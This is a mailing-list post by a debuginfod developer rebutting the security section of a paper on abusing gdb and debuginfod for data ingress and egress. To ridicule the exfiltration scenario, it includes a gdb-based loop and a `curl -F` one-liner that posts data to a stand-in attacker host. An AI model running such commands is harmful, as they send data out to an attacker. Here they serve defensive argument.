regarding the "Abusing gdb Features for Data Ingress & Egress" paper

["Frank Ch. Eigler" <fche@elastic.org>]

Hi -

A few days ago, I was pointed to a paper [1] from a security
researcher that deals with debuginfod.  The first half of the paper is
a fine overview of how the system works.

[1] https://www.archcloudlabs.com/projects/debuginfod/

The second half takes a turn toward security concerns.  I'd like to
address a few points there.


"Rogue Server - Sending Arbitrary Data to Clients"

This section appears to be belabouring the point already given in the
debuginfod man page.  Yes, indeed, if your chosen debuginfod server is
hypothetically fed bad data or is compromised, you may receive bad
data.  The paper does not identify any actual vulnerability or means
to compromise any operating debuginfod servers.

Note that we are in the process of adding a degree of cryptographic
assurance of data provenance [2] to debuginfod.  This aims to provide
protection against accidental or deliberate corruption anywhere
between the distribution's build system and the debuginfod client.

[2] https://sourceware.org/bugzilla/show_bug.cgi?id=28204


"Rogue Client - Sending Arbitrary Data to Servers"

This section posits a situation where you wish to exfiltrate data, and
you want to do this by running gdb on binaries with crafted buildids.
That gdb would then communicate those crafted buildids to a debuginfod
server in your control.

This is a fascinating hypothetical, and makes this writer curious
about what manner of system offers this kind of privilege to an attacker:

   % gcc foo.c
   % export DEBUGINFOD_URLS=https://secret.lair/
   % for snippet in $message; do
   %   reverse-engineering-tool a.out $snippet
   %   gdb a.out
   % done

but not something as simple as:

   % curl -F message=$message https://secret.lair/


- FChE